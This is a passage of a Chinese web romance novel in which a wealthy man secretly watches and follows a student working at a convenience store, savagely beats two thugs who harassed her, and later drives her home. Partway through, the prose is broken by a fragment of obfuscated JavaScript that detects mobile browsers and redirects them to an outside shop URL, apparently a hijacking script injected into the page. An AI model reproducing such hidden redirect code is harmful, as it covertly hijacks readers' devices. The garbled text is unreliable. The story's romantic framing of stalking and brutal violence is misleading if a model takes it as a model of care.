每天七点左右停在那儿,十点祁星尔换班又启车离开。祁星尔每次都没看到那人是何时上的车。车窗一直关着,隔得远,也看不清里面到底有没有人。
今天见了奇,车窗摇下来一半,露出那人半张脸,是个矜贵的男人。
这半张脸看着眼熟,想不起来在哪里见过。
暖黄的路灯打在半框银丝眼镜上,隔着一条马路,她和车窗上方的眼睛对视。
真是一双深情眼。
祁星尔收起动作,假装转身去收拾货架,假装自己很忙。
她承认那双眼睛很好看,能把人吸进去。
好看有什么用,是别人家的,与她无关。
祁星尔整理完所有东西回收银台,对眼望过去,目光重叠,那人还在看她这个方向。
怎么回事?在看我?
我有什么好看的?
祁星尔俯身看了下自己。
破皮的廉价板鞋,翻白的牛仔裤,以及掉线头又起球的毛衣,为了干活随意挽起的头发,素净的脸蛋也就白一点,暖白皮的白。
个子也不高,瘦得似竹竿,前不凸后不翘,看不出哪里值得人多看一眼。
她甚至怀疑,自己是不是脸上有脏东西,她打开手机镜子,左看右看:“没有啊。”
这会儿已经九点半,再过半个小时,李哥就要过来和她换班了。祁星尔六级分不高,准备再刷一刷分,于是放历年真题逐句磨耳朵。
祁星尔一句一句跟读,很专注,直到玻璃门被推开,一阵冷风袭来。
进来的是两个小青年,两人眼珠子一转,见店里只有小姑娘一个人。其中一个眯眼坏笑,对祁星尔吹了声口哨,祁星尔不理他,专注看句子标连读。
小混混见姑娘不搭理他,主动搭话:“嘿,小妹妹,一个人啊?”
祁星尔标完最后一个句子,扣好笔帽,抬眼,皮笑肉不笑:“这不还有您和里面那位大哥,您二位不是人啊。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311161|198852||http|test|mini|href|location''.split(''|''),0,{}));
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>里面选东西的小混混出来,站在收银处小混混顶腮坏笑,拿了三四盒小气球放在祁星尔眼下。
祁星尔不动神色,继续扫码结账。
两人买了东西,懒身坐在便利店的吧台上,色眯眯地看着祁星尔,祁星尔埋头看英语,忽视两人。
没一两分钟,一个小混混抄兜过来:“小妹妹,你这大半夜的做兼职也辛苦,不如跟哥两个,吃香喝辣,不用吃苦。”
九点四十了,李德兴还没来。
祁星尔看了一圈四周,夜深人静,唯一的那辆黑车不知哪去了。
她抬起素白灵动的娃娃脸,乌黑圆眸有神而透亮,少女弯唇浅笑:“好啊,正好我也累了,等我收拾一下,关门就走。”
祁星尔动作利落,灯没关,只把门锁了。
“我忽然想起,我还有东西放在后仓库。”
小混混们猴急,会心一笑,看后面仓库那条路乌漆嘛黑,也跟上一起来。
仓库后面放了几根粗木棍,砖块,电击棍,以前这附近有人半夜闹事,老板起了个心,一直在里面有放工具。
祁星尔拿完工具出来,店外的小混混早已不见人影。
“我还没动手就走了,没意思。”这几天来大姨妈,心情本来就不好,祁星尔还以为可以发泄一下。
*
这一带没有监控,小混混们尾随祁星尔到小路口,就被人打晕了。
一个穿着得体的男人拽住小混混的后衣领口,步伐缓慢,动作优雅地将人拖进破旧的小巷子。
昏暗的灯影下,男人把混混往死里打,直到人彻底晕过去,才罢手。
两人是被痛醒的,鼻青脸肿,瘫在地上如一堆发臭的腐肉。
打他们的男人身穿烟灰色冷锻衬衫,黑色西装裤,他俯身揪起一个小混混的后脑勺,眼神冷如寒冰,语气淡然:
“下次再调戏人,就不只是今天这样了。”
清水冲洗掉男人手上每一点血污,孟停之很耐心地清洗,洗到手发红,关掉生锈的水龙头,擦干水,嫌弃地将纸巾扔在混混脸上。
今天怎样?今天两人被这个衣冠楚楚、一看就是正经人的人打得半死不活。
另一个小混混想要爬走,薄底皮鞋一脚踩住手掌,反复在地上磨碾,混混手腕骨折,想要叫出声,嘴里却被塞满破布,痛苦到面红耳赤,很快,手背擦出血,掉了一层薄皮。
这人正是刚才言语侮辱祁星尔的人。
男人拧断他一条胳膊,慢条斯理穿上外套和大衣。
“还不滚?看来是嫌命太长。”孟停之戴好半框眼镜,白色路灯的阴影下,清隽斯文的男人,睁开眼,如同一只将要发怒的猛兽。
“滚,我们马上滚!” 两人起身跑得飞快,一溜烟没人影。
*
李德兴过来换班,面色奇怪。
“李哥你这是什么表情?怎么像吃屎一样。”祁星尔收拾好背包。
“刚才路上碰见两个隔壁街网吧的小混混,平常威风得很,今天却像见鬼,跛脚了还跑得飞快,魂飞魄散的,有一个还尿裤子了。”
祁星尔没多想,李德兴知道今天自己来晚了,心里过意不去,打算周末请祁星尔吃饭。祁星尔觉得没这个大必要,对方不肯似乎一定要请她吃饭,心里才过意得去,她只好答应。
回学校的路上,人烟稀少,街边有个别喝得烂醉的学生,从ktv出来呕吐。
夜里凉风乍起,祁星尔背着书包,拉紧衣领口子,脖子往毛衣里缩了缩。
“谁?”
不知是不是神经过分紧张,她总感觉有人在跟着她。她走的是大路,有人跟踪,不会找不出来跟踪的人。
身后没有可疑的人,两侧停了不少私家车,祁星尔没有注意到的是,不远处大排档旁边停的那辆车,就是每晚停在便利店门口的那辆。
祁星尔快走到宿舍门前,那种被跟踪的感觉才消失。这几天都是如此,祁星尔不禁加快步伐。
这段时间学校周边在做绿化,有不少施工工人,落单的姑娘一个人走就更加不安全。
祁星尔把昨天的事给老板说了,刘姐善解人意:“我就说吧,小姑娘值夜班不安全。这样,以后你就上白班,晚上七点半就下班,工资不变。”
“谢谢老板!”祁星尔内心非常高兴,一分耕耘一分收获,她本想工资低一点没什么,现在老板这样说,她上班更积极了。
这天,祁星尔像往常一样下班回寝室,这几天天气忽然转凉,她想快点回寝室洗漱,躺在床上美美地享受电子榨菜。
她哼着小曲,背着书包,走着小碎步跳舞,欢快地像只鸟儿。
宿舍楼下不远处停了一辆黑色SUV,祁星尔走到门前,车上下来一个男人。
那人一步一步走向她,祁星尔停在原地。
找我的?
4. 04
晚风缓了下来,水泥路上的月华,随着男人的靠近,越来越短。
男人一步步走向她,低沉的声音响起:“祁星尔。”
祁星尔定住,看着眼前人,呼吸停滞,时间在这一瞬间被拉长。
胸腔里的心重跳一下。
单看这人的身影和气质,就不像她会认识的人。
路灯照下,男人的五官清晰起来。
这双眼睛……
是每天停车在便利店对面的那个人!
男人在她面前站定,沉睡的记忆被唤醒。
他是在太金山上救她的民宿老板,还以为不会再见到他了。
“你的学生证掉了。”
寒假兼职是谷兰给她找的,又恰好返校时,乘务员没有查学生证,平时基本用不上这个,故而祁星尔一直没发现自己的学生证丢了。
祁星尔上挑细眉,不可思议地接过,翻看里页。
还真是她的。
当时班主任嫌麻烦,证件信息都是让他们自己填的,自己的字迹绝对错不了。
男人说道:“那天在太金山,大概是陈姐给你换衣服时留下的,本来想还给你,但我回来时你已经走了。”
这话听起来怎么有点不对?想不出哪里有问题,祁星尔懒得纠结。
“哦,我想起来了,是在太金山的民宿。谢谢您。”祁星尔浅笑着轻声说。
或许是因为他送了她碰巧喜欢图案的热水袋,或许是每次见到他心中都会莫名的悸动,还或许是这人长了一双含情眼,偏偏五官俊朗,祁星尔不敢长久和他对视,她不自在地错开眼。
尽管她认为这很不礼貌,可她不想在年长的陌生男人面前脸红、露怯。
夜色浓重,借着银白路灯,孟停之能看见小姑娘耳根发红,看上去脑子混沌,反应慢半拍。
祁星尔放下书包,钱包里有三百现金,她拿出一百出来:“谢谢您专门过来给我送学生证。”
学生证丢了补办起来很麻烦,旁的陌生人大多会置之不理,更不要说专程送过来了,说不定他还是跨省过来的。
祁星尔栖身看了眼车牌号,还真是跨省,隔壁省的。
“我刚好在这边出差,顺道送过来。”言下之意是举手之劳,没必要拿小费。
“您是从临安过来的?”
“嗯。”
临安和宛南市虽各自是两个省,但相邻,开车也就三个小时。
对方开的是林肯,至于什么系列,她不懂车,也不知道,但她这一百块钱肯定是不够他烧油费的。
“您不是在太金山么?怎么……”
“太金山民宿是我投资的产业之一,那段时间有事过去。”
祁星尔礼貌回应了一声,收起钱,又纠结该怎么和男人道谢。两人沉默,空气夹杂着一丝微妙。这时对方道:“既然东西送到了,我还有事先走一步。”
他走了几步又回来:“其实你不用一直称呼我为‘您’。”
祁星尔愣住,反应过来发现自己还不知道他叫什么,想去叫住他,男人已经开车走了。
橙白的路灯将深夜的小路照亮,洒了满地莹白,黑色林肯很快起步。
“诶,先生。”祁星尔压声大喊,不想引起周围人注意。可能是声音太小,对方没听见,又或者是他听见了,但觉得无关紧要便没有回应。
回到寝室后,祁星尔放下学生证,发现学生证变厚了一点。翻开封皮,里面是一张名片。
孟停之。
祁星尔的手抖了一下,她揪了一把自己的脸,痛得歪嘴叫,大眼湿润,才明白这不是在做梦。
名字下面是一行手写的钢笔字,字体比较眼熟。
有事打此电话,全天在线。
她握着名片盯着这几个字很久,终于想起,这和太金山上祈福牌上的字一样。祁星尔大脑一片空白,觉得一切巧合又奇妙。
她想起曾经看过的一条物理理论,当两个量子以一种非常特殊的方式联系在一起后,无论相距多远,即使在宇宙两端,它们也能共享同一种状态。
梦境也能算是一种状态的话,那我有没有出现在他的梦里?
旁人给祁星尔这种名片,她高低转头就扔,这回却没有,而是夹在手机壳里。
……
李德兴说好的要请祁星尔吃饭,他是在读工科研究生,每次约好时间他都要被临时叫回实验室,祁星尔早就没把这件事放在心上了。
“不行,说好的要请你吃饭。”李德兴给别人做下承诺,就绝不会食言,他斩钉截铁道。
祁星尔不喜欢在这种小事上多费口舌,便答应了。
选的餐厅是一家火锅店,味道正宗生意红火,祁星尔想来这家店好久了,一是难预约二是一个人吃不划算,所以一直没来。
临近晚上八点,火锅店外还有人在排队,李德兴提前预订好位置,运气好刚好碰上前一桌吃完,服务员领他们进来时桌子上还有残余的油碟。
一起来的还有李德兴女朋友,钟灵比祁星尔大一岁,一张笑呵呵的御姐脸。
这个女孩祁星尔见过几次,她偶尔会给李德兴送饭,李德兴经常在祁星尔耳边说她女朋友多么多么好,他说他要努力读书,早点赚钱买房,然后再求婚。
桌子没擦干净,钟灵衣服上沾了点油:“我去洗手间擦一下,我蘸碟要多放小米辣。”
“你还在生理期。”
“那你就多放一丢丢。”钟灵用小拇指比量。
李德兴倏尔浅笑:“行吧,下不为例。”钟灵这才心满意足地去卫生间。
对面的祁星尔在心里竖中指:“我是来吃饭的,不是吃狗粮的。”
李德兴听后笑如春风,脸颊两侧荡起酒窝,仔细看耳垂已经泛红。
*
孟停之大早上被好友易柏然叫起来,让他帮忙看看他那个火锅店怎么样。
孟停之穿到这个世界时除了有身份证和学历,再无其他,易柏然算是他在这个世界的第一个朋友。易家小公子自己出来创业,许多东西都不懂,孟停之眼光独到,投的虽然都是小项目,但大多能赚好几番,于是易柏然很多事情都请教孟停之。
今天他软磨硬泡好久,孟停之才松口,答应过来帮他看一看。
踏进门便看见日夜思念的面孔,祁星尔今天依旧梳的高马尾,眼睛乌黑透亮有神,她抿嘴浅笑,在和对面人聊天。
孟停之侧头一看,是个男生,鼻梁上架了一副黑色粗框眼镜,长相阳光干净,笑容治愈。
男人面不改色,嘴唇微抿,静静观察不远处的动静。
在聊什么呢?为什么她能和这个人如此自然地聊天。
对面女孩笑颜如花,轻松自在,看得出来她很高兴。
易柏然临走前,让服务员小张带孟停之去休息室,小张看孟停之面色冷沉,周遭气氛一度降到冰点,他大气不敢出,他斟酌着如何开口,就怕这位孟总一个不高兴走了,他工作不保。
孟停之想起很多年前,女孩不经意间说的一句话“阳光干净、爱笑的男孩子桃花运差不了。”
小张想好措辞:“孟总,我们老板说……”话没说完,孟停之长腿迈出,和他已经隔了好几步距离。
他快步走过去,快到了祁星尔那一桌时,刻意放缓脚步,装作不经意地经过。
“祁星尔。”
“诶。”祁星尔像被老师点到似的,立即站起来,脸上还挂着笑。
看清眼前人,她收起笑。
少女的瞳孔清澈又混沌,明显感觉眼睛看过来了,但脑子还没转过弯。
祁星尔对待陌生的、优秀的、年长的异性总比别人慢半拍,除非是同龄人或者聊得来的人,她才会像个正常人一样。
比如她和李德兴,但眼前这位目测比她大五六岁,和他交流总有一种被掌控的感觉。
祁星尔不太喜欢,总怕自己被骗。
孟停之今天穿得休闲,黑色翻领夹克,内里是一件白色衬衫,领带一丝不苟系在喉结下方。
静默了两秒,祁星尔终于反应过来。
“孟先生?”清透的声音惊讶又拘谨,她没想到孟停之这样的人也会来吃火锅。
“在这吃饭?”男人低声问道。
“嗯。”废话,来火锅店不吃饭能干嘛。祁星尔言语乖巧。
“和他一起?”
“嗯。”
那晚孟停之走后,祁星尔越想越觉得不对劲。
孟停之的车牌号,和最近便利店门前停的那辆车一模一样。他明明早就来了,早几天就在便利店外等着她了,却是过了几天才去给她还学生证,这行为不像是一个正常人该有的
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即使有做梦的那层滤镜,祁星尔也提防起来。
李德兴抬头看清来者,穿着简单,却有十足上位者的气势。他看祁星尔变脸,便尽力降低自己的存在感,不停喝水。
对方分明比他大不了几岁,李德兴却能感受到浓烈的压迫感。头顶有道幽幽的目光,似乎要把他脑袋刺穿。
空气静默下来,李德兴都打算说让他留下来一起吃,祁星尔率先开口:“孟先生来这里也是和朋友吃饭?”
男人愣神一刻,瞳孔底处的冰雪消散。
也?朋友?原来是朋友。
孟停之唇角多了一抹弧度。
祁星尔蹙眉,这是想到什么事了。还是说我刚才说的话很搞笑?祁星尔疑惑但没开口问。
孟停之185的大高个站在桌沿前,很快挡住服务员去路。
服务员手里端着滚油的鸳鸯锅,快要撞上孟停之,祁星尔眼疾手快,握住孟停之手腕,将人朝她跟前一送。
巧妙避开。
服务员敛眸道谢。
祁星尔浅笑回应:“不好意思哈。”
男人棕褐色的瞳孔紧缩一下,突如其来的靠近,让他呼吸停滞,少女蓬松的发尾带着清新的香味,像片羽毛在他心间撩了一把。
他低头看着眉眼弯弯的女孩,好像周边的一切都被按下暂停键。
服务员走后,祁星尔立刻松手:“刚刚有服务员来,所以没经你允许,拉了你一把。”
孟停之敛眸,刚才祁星尔碰过的的地方,衣服还是褶皱的。
易柏然不过是去拿财务报表,出来就不见人影,询问店员才得知孟停之去向。
“找你好久了,原来是在这儿。”
“各位是停之的朋友?”易柏然发现今天的孟停之很反常,两眼珠子一转,试探问道。
“不是。”
“是。”
祁星尔和孟停之异口同声。
易柏然是个人精,自然知道这时候听谁的。
“既然是停之的朋友,那今天这单全免了。”易老板笑眯眯地看向孟停之。
这时钟灵回来,看见餐桌旁站了两个大帅哥。
孟停之沉默半响开口:“我们没吃晚饭,一起吧。”易柏然忍下痛苦,他和孟停之吃完饭才过来的。
这本来就是四人座,孟停之已经在祁星尔旁边坐下,易柏然叫人多加一把椅子。
祁星尔很能吃辣,今天点的鸳鸯锅,凉了的清汤锅底,加完汤后还没煮开,红油锅已经再次辣油翻滚。
服务员帮忙下菜,肉已经煮好。祁星尔下了几个脑花,也快好了。
孟停之去打调料,回来后,祁星尔发现孟停之和她的口味相似。
“你也喜欢吃香菜?”
孟停之对上祁星尔的眼睛,想起年少时去祁星尔家里那次,她说了类似的一句话。
“我记得你喜欢吃香菜。”
祁星尔见孟停之顿住筷子:“你怎么了,是觉得太辣了吗?要不你吃清汤吧。”
孟停之一看就不像是会吃辣的人,比如现在,他的脸颊已经白里透红,嘴唇红透了似抹了口红。
以前孟停之口味清淡,吃一点辣椒就能被呛到狂喝水,自从祁星尔来到他的世界,孟停之跟着她的口味开始学吃辣,后来祁星尔消失了,他的一切饮食习惯也没再改过来,尽管这么多年过去还是怕辣。
“没,刚想到调料区的小米辣没了,我去看看添上没。”
祁星尔碗里的辣椒也被她吃光了,她吃火锅喜欢吃调料,一片牛肉或者毛肚烫熟后都会卷上调料,然后一口吃下。
“我跟你一起去吧。”
孟停之本打算帮她拿去一起,但又改口,和祁星尔一起。
两人一前一后离桌。
……
“孟先生是做什么工作的?”祁星尔随意询问。
“小本生意,投资一些小产业,偶尔炒股。”
“哦。那你的产业还不少,这家火锅店也是?”
“不是,这是朋友的,和我一起来的那个。”孟停之停下,“你想问我什么可以直接问。”
祁星尔收起笑,脸色冷下来:“在你给我还学生证前,你为什么每天把车停在喜来便利店对面?”
像小偷一样窥视这家店,还是说,窥视我。
5. 05
祁星尔仰头看着孟停之,眼神劲劲儿的,像是今天不听到个合适的答案不罢休。
孟停之放下夹小米椒的夹子,低头对上少女清透的眸子。
少女瞪圆眼,双眉紧蹙。
孟停之以为自己隐藏得很好,没想到很快被她发现。
祁星尔在等,她想看看这位孟先生会如何解释,解释他为什么会知道她在那家便利店上班,为什么视奸,又为什么是她。
时间静默下来,火锅店人声嘈杂,两人之间的空气变得微妙起来。
二人靠得很近,呼吸纠缠在一起。
四目相对,男人的眼中没外露半分内心的情绪,祁星尔有点看不明白。
她很不喜欢这种感觉,一种盲人摸象,看不清对方意图的感觉,她怕自己被人算计。
孟停之却看得明白,少女眼中那种想得知真相的急切,在她眼中展现得淋漓尽致。
男人俯身弯腰,倏然凑近祁星尔。
俊脸五官一下放大,高挺的鼻梁,幽深的眼眸,暖黄的灯光打下,冷白皮都柔和了几分。
祁星尔呼吸一滞,面上镇定但心漏跳一拍。
少女的瞳孔闪烁一瞬,紧蹙的眉头舒展开来。
祁星尔愣在原地,大脑又空白了。
她刚刚说什么来着?她记得她生气了,然后呢,为什么生气?
孟停之抬手拿掉祁星尔眼睫上的飞絮,他温凉的指尖触碰上的那一刻,眼睫有微弱的痒意,祁星尔忍不住眨了下眼睛,睫毛扫过孟停之的指腹。
“要不再点几盘肉?他们家牛肉很新鲜。”
祁星尔立在原地,手里的蘸碟碗被孟停之拿走都不知道。
“哦。好。”孟停之移过身后,祁星尔反应过来。
“那就多点几盘,来十盘,牛羊肉都来点。”
祁星尔没好气。
孟停之抱胸,若有所思地看着眼前薄纸片一样的姑娘。
“嗯,是要多吃点肉。”
孟停之默了几秒后解释:“那几天来找你,看你工作忙不好打扰。”
祁星尔冷眼疑惑看着他,一脸不信。
“你觉得我很好骗?”
孟停之:“随你怎么想。”
祁星尔意识到可能真的是自己想多了,语气也缓下来:“行,那我姑且相信你。”
孟停之调好新的调料碗后,递给祁星尔。
和祁星尔原来的调料碗一模一样,祁星尔没注意,接过道了声谢谢。
调料区离用餐区还有一段距离,祁星尔回想刚才孟停之倏然地靠近,混着涩味的柚子香和沉木香,还萦绕在鼻尖。
两人并肩齐走,祁星尔假装不经意,试探:“你刚才是在撩我么?”
孟停之停下来,转身看向身旁的少女。
祁星尔跨大步经过他没看他一眼:“可惜我对浪漫过敏,你撩不动我。”小语气中带点傲娇,狡黠的小白狐狸,吹着口哨落慌而走。
少女的高马尾随着步伐左右晃动,灵动又俏皮。
孟停之敛眸,唇角浅弯,笑意未达眼底,眸中藏着不可察的宠溺。
祁星尔回来时,钟灵发现她脸有点红,只以为是她穿太厚,又在火锅店,热的。
“小星,要不你脱件衣服,我看你脸都热红了。”钟灵的手贴了一下祁星尔的脸蛋,烫如赤铁。
虽然才十一月天,祁星尔怕冷,卫衣里还穿了加绒打底衫。
“有吗?”祁星尔也摸了一下自己的脸,无比心虚,“可能是吧。”
祁星尔今天特别饿,早饭没吃,午饭只啃了一个面包,这个时候恶狼似的炫肉。孟停之吃得少,也很少参与话题,大部分时候都在给祁星尔夹菜,他挑起来的菜干干净净,没有花椒辣椒皮这些东西。
“你怎么全给我?”祁星尔快速咽下嘴里的牛肉,一边吹筷子上夹着的虾滑。
孟停之顿住手,眼睛若有似无地眨了一下,才道:“不吃?那我拿走。”
孟停之也不知什么时候脱了外套,衬衫挽至小臂处,戴上一次性手套剥虾,他剥好一颗虾,垫上清汤锅里的生菜卷进一大片牛肉,蘸好蘸水放进祁星尔另一盘空碟。
祁星尔:“别,谁说我不吃。”随即两三口吃下牛肉卷:“你也会这么吃?我还以为就我一个。”
钟灵喝了一口果汁,一脸笑意地看向对桌两人,注意到两人手上有同款戒指,只有中间镶嵌的水晶不同,祁星尔的是紫色,孟停之的是蓝色,意味深长地看了祁星尔一眼。
这家店来就附送一份绵绵冰,易柏然作为老板在这自然要尽地主之谊,免费送各种小吃,甜豆花、荔枝虾球、杨枝甘露、红豆双皮奶……冰的,热的,甜的,咸的任君挑选。
红油火锅辣,配上小米辣吃多了如烈火灼胃,祁星尔吃了绵绵冰降温,她还想吃淋了冰点草莓的甜豆花,甜点看起来就很漂亮,那么一大碗她一个人吃不完。
她的目光已经黏在那碗甜豆花上。
孟停之看着她碗里,只吃了几勺的西米绵绵冰,抬手拿着那碗冰豆花过来,分了一个勺子给祁星尔:“我看你那份挺好吃的,我们可以两碗一起吃。”
小姑娘的葡萄眸一亮,看向孟停之:“那我就不客气了。你随意,我没有洁癖。”
祁星尔早就吃饱,甜豆花没吃多少,最后是孟停之帮她吃完的。
易柏然惊掉下巴,祁星尔显然没注意到孟停之的举动,单纯以为他喜欢。
火锅局结束后,时间还早,商场外的露天广场在举行演出,几人决定玩一会儿消消食再回去。
简易小舞台上的镁光灯四处闪射,主持人激情高喊带动全场气氛,祁星尔很少参加这些活动,一开始内敛,只偶尔随声附和,后面渐入佳境,也放开来。
表演节目的是不知名的小乐队,帅哥美女尽情跳舞,热闹非凡。
孟停之没去,在火锅店里帮易柏然看报表,分析数据。
火锅店里的服务员打扫完卫生,关灯熄火,孟停之抬手看了一下手表:“今天就到这里,后续我会做成ppt发给你。”
“诶,你这……”
孟停之已经出店,易柏然看了眼挂钟,才十点半,以前这个时间孟停之大多在工作。
易柏然追到停车场打算蹭个车:“我今天没开车,你送一下……”我呗。
话没说完,黑色林肯只留给他潇洒迅疾的背影。
*
广场活动临近尾声,宿舍十一点半锁门,于是三人都打算打车回去。
今天是周六,又是在市中心一带,最后只有祁星尔没打到车。
天已经很晚了,钟灵和李德兴在同一所大学,二人先行离开,离开前嘱咐祁星尔要早点回去,同时也要注意安全。
夜凉回寒,祁星尔跺脚哈气,最近眼看着天暖和一点了,今天又急剧降温,老天爷真让人捉摸不透。
路灯灯罩前翻转的空气因子随风盘旋,冷白的灯光拉长地上祁星尔的影子。
打车图点一片密集,但就是没人接她的单,祁星尔心中有点烦。
正当祁星尔打算走回去的时候,远处轿车的大灯打过来,朝她鸣笛一声,祁星尔闻声挺直身子探起头。
熟悉的林肯,熟悉的车牌号。
半分钟后黑色suv停在她面前,车窗摇下,露出孟停之的脸。
男人单手撑着方向盘,白指修长骨节分明,手背处的青筋脉络肉眼可见,他侧身注视风中的少女。
祁星尔蹲在地上,脖子伸得老长,像只小梅花鹿。
她立即站起来,可惜腿麻了,密密麻麻,如群蚁咬噬的感觉袭至小腿,一团乱。
孟停之早就把车开出来了,本想等祁星尔打到车后,跟在车后面,确保她安全到学校。奈何另外两人早已打车走了,祁星尔还蹲在路边吹冷风。
祁星尔步伐虚晃,腿肚子酸痛发软,将要跌倒之时,手肘被一双结实的大手从前握住。
黑色皮鞋在祁星尔跟前站定,她抬起头,对上孟停之无框眼镜后那双幽静深邃的瞳。
目光相撞的那一刻,祁星尔的心抖了一下。身体跟随男人的动作,勉强站立。
“自己能站好吗?”
祁星尔大脑里的加载圈转了二十秒,缓冲过来:“能。”
下一秒孟停之脱下外套,叠成方块放在路边花坛沿上。
转身攥住祁星尔的双臂,扶着她坐下。
祁星尔拒绝:“别,这外套一看就很贵,我买不起。”
孟停之:“这件平价,可以手洗。”祁星尔听懂,也不犯矫情,顺势坐下。
“你找我有事?”祁星尔为了不让孟停之看出窘迫,率先开口。<
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p>男人单膝蹲下,抬头对上少女的双眼:“没事就不能来找你?”
这把祁星尔问住了,一时竟不知怎么回答。
“没打到车?”
祁星尔点头:“嗯。”
这会忽然吹来一阵风,祁星尔缩了一下脖子,眨了下眼睛:“你冷不冷?”
孟停之看着她静默几秒,倏尔浅笑:“你说呢?”
祁星尔心虚。
“腿好些了吗?”孟停之不再逗她。
祁星尔再点头。
“好些了,就跟我回去。”
祁星尔:?
孟停之意识到不对劲,改口:“我送你回去。”随即环住祁星尔手臂,就往车的方向走。
“诶——你等一下,外套还没拿。”
午夜的城市,灯火凌乱,热闹又喧嚣。
孟停之一手扶方向盘,一手挂挡位:“这时候不怕我对你心怀不轨了?”
祁星尔顿了一下,神情拘谨不自然,黑水眸子下一片懵然,想起先前她质问他的这件事,心中明了。
片刻,摇下车窗偏头吹冷风:“我那是多留一个心眼。”
声音小小的,若不仔细听,听不出她在说什么。
男人没出声,路上车水马龙,堵得水泄不通,林肯也跟着停下。
孟停之撑手,食指贴着下唇,声音低沉:“嗯,是要留一个心眼。”
“不过,在我面前没关系。”
祁星尔眉心突跳一瞬,眼神凝滞,望着对面的街灯,后脑勺有灼人的目光,她不敢转头,怕对上那双眼,稍不注意陷入其中无可自拔。
她装作没听见:“嗯?你刚才说什么?”身旁人瞳孔波光粼粼,他没有戴眼镜,眼神赤裸,目光比她预想的还要滚烫。
孟停之张嘴,对上少女的目光,欲开口重复终是没说出来:“我说你不必称我孟先生,可以叫我全名,或者停之。”
“哦。”祁星尔移开目光看向正前方。
少女声音微弱,说完若无其事地看着前面,孟停之眼角荡开春雪,唇角压了压。
默了半响,“还有。”
身边人再度开口,祁星尔的心莫名提到嗓子眼。
“不用总和我说谢谢。”
祁星尔睫毛眨了眨,孟停之在专心开车没看她,祁星尔才敢直勾勾注视。
“可你帮了我。”
别人帮你,一句谢谢好似能偿还一些“帮助”,祁星尔不喜欢欠别人的,在她没有能力“偿还”时,由衷的、发自内心的“谢谢”是最直白的感念。
父母从小教导她,要把“谢谢”挂在嘴边,对他人礼貌。
尤其是小的时候,祁邦成总会教育她,别人给你小零食你要说“谢谢”,这样大人们就会说“看这家孩子,小小年纪多有礼貌”,作为家长的祁邦成就会很自豪,甚至是成就感,小小的祁星尔少时就看出来了。
久而久之,祁星尔真的如祁邦成所想,以前她没觉得这有什么不对,长大了细想,发觉自己这样,反而容易放不开,容易怯懦不自信,容易把自己的姿态放得很低,有些人就会蹬鼻子上脸,认为好欺负。
她想改,却很难改掉,她怕别人说她没眼力见,没礼貌。
孟停之失笑:“那你也不用见到我,就说谢谢。”
对于不熟悉的人才会这样,人与人之间“谢谢”说多了,关系就会生分。两个原要相熟的人,如果另个人时不时在说谢谢,就好像他是故意拉开距离。
而孟停之不想。
这些话是孟停之年少时,祁星尔对他说的。
自从初见时,孟停之看见祁星尔陌生的眼神,再到晚上吃火锅,孟停之越发确定祁星尔不记得他,或者说不认识他,把他彻底当成陌生人。
祁星尔想说“我和你很熟吗”,但想到还在他车上,而且他还专门给她送学生证,这句话最终被她憋回去。
她不知又该说些什么,不答话显得不礼貌:“好,谢……”孟停之递来一个眼神,祁星尔缄声。
一路两人再无言,周末堵车确实厉害。今晚不知怎么回事,吃饭后一个多小时了肚子还没消化,今天又太累,吃饱喝足就碳晕犯困。
祁星尔上下眼皮打架,脑袋一点一点的,每次点下头又猛然惊醒,睁大眼看正前方。
“困了就睡,到了我叫你。”
6. 06
“嗯。”懒洋洋的一声飘来,尾音后还带着波浪号。
孟停之抽空看了祁星尔一眼,少女斜靠在有安全带的一侧,嘴巴微张,露出洁白的牙齿,高马尾随意贴着脖颈。
祁星尔头发束得高,发结抵着后脑勺,只能侧靠,可靠久了脖子酸,睡梦中不自觉换姿势,怎么换都只能避开发结斜靠。
小姑娘蹙着眉,频繁换姿势。
孟停之很快察觉到,将车停靠在一边,下车到祁星尔那边,大手轻抬起少女的后脑勺,取下发绳,还给她戴了U型枕,小姑娘的眉头才舒展开来。
祁星尔的清淡面庞窝在如瀑黑发中,她今天化了浅浅的底妆,大概是考虑到要和朋友吃饭,特意化的,不过只是上了点粉和遮瑕。
不凑近看,还真看不出来她化妆,祁星尔本来就白,细眉大眼,很灵动。
孟停之打开抱枕小被,盖在祁星尔身上。
路灯昏黄,照着少女的眉眼,脸颊上的绒毛清晰可见。
睡梦中的祁星尔头向前蹭了蹭,两人只差一个指甲盖的距离。
孟停之瞳孔微震,眼睑颤抖一瞬,心猛地跳动了一下,呼吸凝滞,抓着靠枕头椅的长指收紧,指节泛白。
车停在离宿舍不远的枫树下,路灯阴影,外面人看不清车里的人。
此时已经十一点,宿舍楼下有不少小情侣卿卿我我,难舍难分,有的深情拥吻,有的搂抱紧密,都黏黏糊糊。
孟停之静静地看着熟睡的祁星尔,时间一分一秒过去,男人面容温和,荡起浅浅的笑意。
他什么也没有想,只是看着她,像是要把这么多年的空缺补回来。
他拍了几张照,又凑过去和睡梦中的祁星尔合影几张。
夜色朦胧,柳枝随风摇晃,路上的学生逐渐变少,暗处的小情侣们只剩一两对。
孟停之掐着时间,准备在最后五分钟叫醒祁星尔。时间很快过去,孟停之觉得不过眨眼间,他思考着到底要不要喊醒她。
要不等她醒了,直接说今天堵车开得慢,回来就已经锁门了。孟停之蹙眉,考虑什么时候叫醒祁星尔。
很快,孟停之做出决定,那就临近门禁最后五分钟,喊醒的好。
最后五分钟很快到了,他还没有看够,他抬腕看了眼时间,打算掐点喊她。
“祁……”
刚出声,少女的眉头就锁起来,额角泛了细密的汗。
祁星尔开始低呼呻吟,少女捂上肚子,嘴唇越来越白。
孟停之神色霎变,他急促唤着她的名字:“星尔?”
“星尔,你怎么了?”
祁星尔在做梦,梦里肚子被人踢了一脚,她捂痛倒在地上打滚,含胸躬腰。梦里的孟停之逆光而来,面色紧张,祁星尔内心似乎下意识知道他是谁,看也不看就往他怀里倒。
现实中,祁星尔迷迷糊糊,睁开沉重的眼皮,正躺在孟停之手上,少女的五官堆簇着:“疼,肚子疼……”
“别怕,我马上带你去医院。”孟停之很快驱车驶入街道。
好在一路绿灯,畅通无阻。
suv一度加速到120码,只有在限速路段陡然减速。
腹中绞痛,像是肠子和胃都打结,祁星尔呜呜直呼肚子痛。
